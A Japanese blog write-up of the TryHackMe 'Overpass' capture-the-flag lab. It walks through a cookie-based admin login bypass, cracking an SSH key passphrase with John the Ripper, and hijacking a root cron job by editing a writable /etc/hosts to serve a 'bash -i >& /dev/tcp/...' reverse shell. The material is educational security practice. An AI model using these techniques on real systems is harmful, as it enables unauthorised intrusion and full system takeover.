好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

TryHackMe Overpass writeup

TryHackMeのOverpass room のwriteup。こちら、難易度easyだったのだけど、私の思っているeasyより遥かに難しかった。
今回も初めてやってみた攻撃手法・流れがあったので、備忘録として残しておきます。権限昇格系、あまりやったことなかったけど面白いな。

まずは攻撃対象のマシンを立てて、ブラウザでアクセスしてみると、サイトが立ち上がっていました。

f:id:kusuwada:20220131232026p:plain

user.txt

Hack the machine and get the flag in user.txt

まずはサイトのpathを調べてみます。

gobuster dir -u http://10.10.83.171 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.83.171
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2022/01/29 07:24:55 Starting gobuster
===============================================================
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/downloads (Status: 301)
/img (Status: 301)
/index.html (Status: 301)
===============================================================
2022/01/29 07:24:56 Finished
===============================================================

/adminサイトがあるみたい。

f:id:kusuwada:20220131232100p:plain

このページで色々入力を試してみていると、cookie.jslogin.jsを発見。うち、login.jsのほうを見てみると

async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

最後にログイン処理が書いてあります。ログインに成功すると、SessionTokenというcookieがセットされるらしい。中身は何しかテキスト。
試しに適当にセットしてみます。

f:id:kusuwada:20220131232137p:plain

適当に "True" のvalueでクッキーを設定してリロードしてみた所、ログインできてしまった…。

そしてこのページ、RSA Private keyがおいてあります。

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
...(omit)...
-----END RSA PRIVATE KEY-----

そういえばこのマシン、80ポート以外にも22ポートが空いていました。SSH出来るっぽい。もらった鍵のパスワードを忘れた場合は "crack it yourself" だそうです。

How to Crack SSH Private Key Passwords with John the Ripper « Null Byte :: WonderHowTo

ここを参考に、private keyのパスワードをクラックしてみます。まずはツールをダウンロード。

┌──(kali㉿kali)-[~/ctf]
└─$ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
--2022-01-29 05:52:16--  https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8537 (8.3K) [text/plain]
Saving to: ‘ssh2john.py’

ssh2john.py                         100%[================================================================>]   8.34K  --.-KB/s    in 0.004s  

2022-01-29 05:52:16 (2.25 MB/s) - ‘ssh2john.py’ saved [8537/8537]

クラック対象のhash生成。

┌──(kali㉿kali)-[~/ctf]
└─$ python3 ssh2john.py id_rsa > rsa.hash     

クラック開始。先程のページで紹介されていたワードリストでは引っかからなかったので、同じサイトのワードリストをいくつか試してみましたが引っかからず。
試しにDefaultのワードリスト(指定なし)でやってみた所、クラックに成功しました。

┌──(kali㉿kali)-[~/ctf]
└─$ john rsa.hash                                     
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
james13          (key.private)     
1g 0:00:00:03 DONE 3/3 (2022-01-29 06:21) 0.2777g/s 393498p/s 393498c/s 393498C/s jamest1..jamesey
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

I got the password james13! 先程のサイトにも名前が上がっていたので、ユーザー名はjamesであると予想。秘密鍵の権限を変更し、SSHしてみます。

$ chmod 400 id_rsa
$ ssh -i id_rsa james@10.10.17.22
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Jan 29 11:31:42 UTC 2022

  System load:  0.2                Processes:           92
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: 10.10.17.22
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ ls
todo.txt  user.txt
james@overpass-prod:~$ cat user.txt

やったー!SSH成功、1つ目のflagゲットです。

root.txt

Escalate your privileges and get the flag in root.txt

先程のuser.txtのとなりにあったtodo.txtを念の為見ておきます。

james@overpass-prod:~$ cat todo.txt 
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website
  1. Overpassの暗号はあまり強くないらしい
  2. 作っている最中のパスワード管理ツール(Overpass)に自分のパスワードを記載したら良いじゃんってひらめいてる
  3. macOS用のテストがビルドまでで止まっているらしい
  4. Paradoxにどこでどうやってビルドスクリプトを自動で動かしているか聞きたいらしい

jamesのhome直下に.overpassというファイルを発見。

james@overpass-prod:~$ cat .overpass 
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.

overpassアプリ周りのデータに違いないということでoverpassのソースコードをもう一度確認してみると、

//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example
func rot47(input string) string {

というコメントと関数を発見。先程のデータをCyberChefでrot47にかけてみると、

[{"name":"System","pass":"saydrawnlyingpicture"}]

という値が出てきました。わーお。何かに使えそう。todoリストにも、overpassの暗号が弱いって書いてありました。…と思ったけど、普通にアプリからも見れた。

james@overpass-prod:~$ overpass
Welcome to Overpass
Options:
1   Retrieve Password For Service
2   Set or Update Password For Service
3   Delete Password For Service
4   Retrieve All Passwords
5   Exit
Choose an option:   4
System   saydrawnlyingpicture

todoリストの4に関しては、buildscript.sh を見てみるとだいたいわかります。

GOOS=linux /usr/local/go/bin/go build -o ~/builds/overpassLinux ~/src/overpass.go
## GOOS=windows /usr/local/go/bin/go build -o ~/builds/overpassWindows.exe ~/src/overpass.go
## GOOS=darwin /usr/local/go/bin/go build -o ~/builds/overpassMacOS ~/src/overpass.go
## GOOS=freebsd /usr/local/go/bin/go build -o ~/builds/overpassFreeBSD ~/src/overpass.go
## GOOS=openbsd /usr/local/go/bin/go build -o ~/builds/overpassOpenBSD ~/src/overpass.go
echo "$(date -R) Builds completed" >> /root/buildStatus

最後に /root に書き込みをしていることから、このツールを実行するときにroot権限を持っているっぽいことが推測できます。定期実行しているならcronが怪しい。

james@overpass-prod:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 *   * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6  * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6  * * 7  root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * *  root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

最後のcronが使えそう。overpass.thmは下記の通りlocalhost。

james@overpass-prod:~$ nslookup
> overpass.thm
Server:     127.0.0.53
Address:    127.0.0.53#53

Non-authoritative answer:
Name:   overpass.thm
Address: 127.0.0.1

このbuildscript.shを見つけて書き換えようかと思ったけどpathが見つからず。では overpass.thm の向き先を変えられないか?と思って調べてみました。

james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
james@overpass-prod:~$ ls -l /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

/etc/hostsが書き換えられそう。 AttackMachineを立てて、こっちにアクセスが来るようにすれば良さそう。3行目を下記のように書き換え。

<AttackBoxのIP> overpass.thm 

AttackBox側で、curl overpass.thm/downloads/src/buildscript.sh の受け口を作っておきます。

$ mkdir -p downloads/src
$ vi downloads/src/buildscript.sh

buildscriptの中身は

bash -i >& /dev/tcp/<AttackBoxのIP>/8000 0>&1

早速httpサーバーを立ててみます。

$ python3 -m http.server 80
...(omit)...
http server OSError: [Errno 98] Address already in use

んがしかし、80番ポートが使われているのでサーバーが立てられないとのエラーが。
調べてみると、web-basedのAttackBoxを使おうとすると80番が使われてしまうらしい。無理やりkillするとweb-basedでAttackBoxが使えなくなってしまう。

$ ps -fA | grep python

これで出てきた80ポートを使っているプロセスを

$ kill xxxx

してみると、wabe-basedのAttackBoxは接続できませんエラー画面になってしまった。

rootのcronのアクセスを他のポートに迂回させる方法が思いつかなかったので、先程のwab-base用のプロセスはkillしたまま、AttackBoxにはsshで接続して動かす方法に作戦変更。

$ ssh root@10.10.94.66
...(omit)...
Last login: Sun Jan 30 19:35:55 on ttys002

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
$ ssh root@10.10.94.66
The authenticity of host '10.10.94.66 (10.10.94.66)' can't be established.
ECDSA key fingerprint is SHA256:canwcHIDVP3XvmtAH4/zdRgsCTrwKDt+Lv+YDuMi64E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.94.66' (ECDSA) to the list of known hosts.
root@10.10.94.66's password: 


 _____           _   _            _    __  __      
|_   _| __ _   _| | | | __ _  ___| | _|  \/  | ___ 
  | || '__| | | | |_| |/ _` |/ __| |/ / |\/| |/ _ \
  | || |  | |_| |  _  | (_| | (__|   <| |  | |  __/
  |_||_|   \__, |_| |_|\__,_|\___|_|\_\_|  |_|\___|
           |___/                                   

AttackBoxと繋がりました。先程の続きの作業をします。まずはスクリプトの確認。

root@ip-10-10-94-66:~# cat downloads/src/buildscript.sh 
bash -i >& /dev/tcp/10.10.94.66/8000 0>&1

この内容でサーバーを立てます。

root@ip-10-10-94-66:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

よし、今度は立ちました! もう一つ接続を確立し、ポートを開いて待っておきます。

root@ip-10-10-94-66:~# nc -lvnp 8000
Listening on [0.0.0.0] (family 0, port 8000)

暫く待っていると、サーバーの方の端末にアクセスが飛んできました。

10.10.104.176 - - [31/Jan/2022 06:33:01] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -

ポートを開いて待っている方にも

Connection from 10.10.104.176 33150 received!
bash: cannot set terminal process group (17918): Inappropriate ioctl for device
bash: no job control in this shell
root@verpass-prod:~#

来ました!

root@overpass-prod:~# ls
ls
buildStatus
builds
go
root.txt
src
root@overpass-prod:~# cat root.txt
cat root.txt

これでrootのflagゲット!

Boucher

そういえばさっきrot47の暗号の話を見つけたのに使っていません。モヤモヤ。
root権限になったし、さっきjamesのお隣りにあったtryhackmeのhomeにも.overpassファイルがあるんじゃないかと思って覗いてみました。

root@overpass-prod:~# cd /home/tryhackme
cd /home/tryhackme
root@overpass-prod:/home/tryhackme# ls -a
ls -a
.
..
.bash_history
.bash_logout
.bashrc
.cache
.gnupg
.overpass
.profile
.sudo_as_admin_successful
go
resources
server
root@overpass-prod:/home/tryhackme# cat .overpass 
,LQ?2>6QiQ%CJw24<|6 $F3D4C:AE:@? r@56Q[QA2DDQiQ8>%sJ=QN.

あった!これをrot47にかけると

[{"name":"TryHackMe Subscription Code","pass":"gmTDyl"}]

このroomは最初にこのコードを入れた人にthmの無料使用権が与えられたということなので、きっとこれがそのコードだったに違いない。今は無効化されています。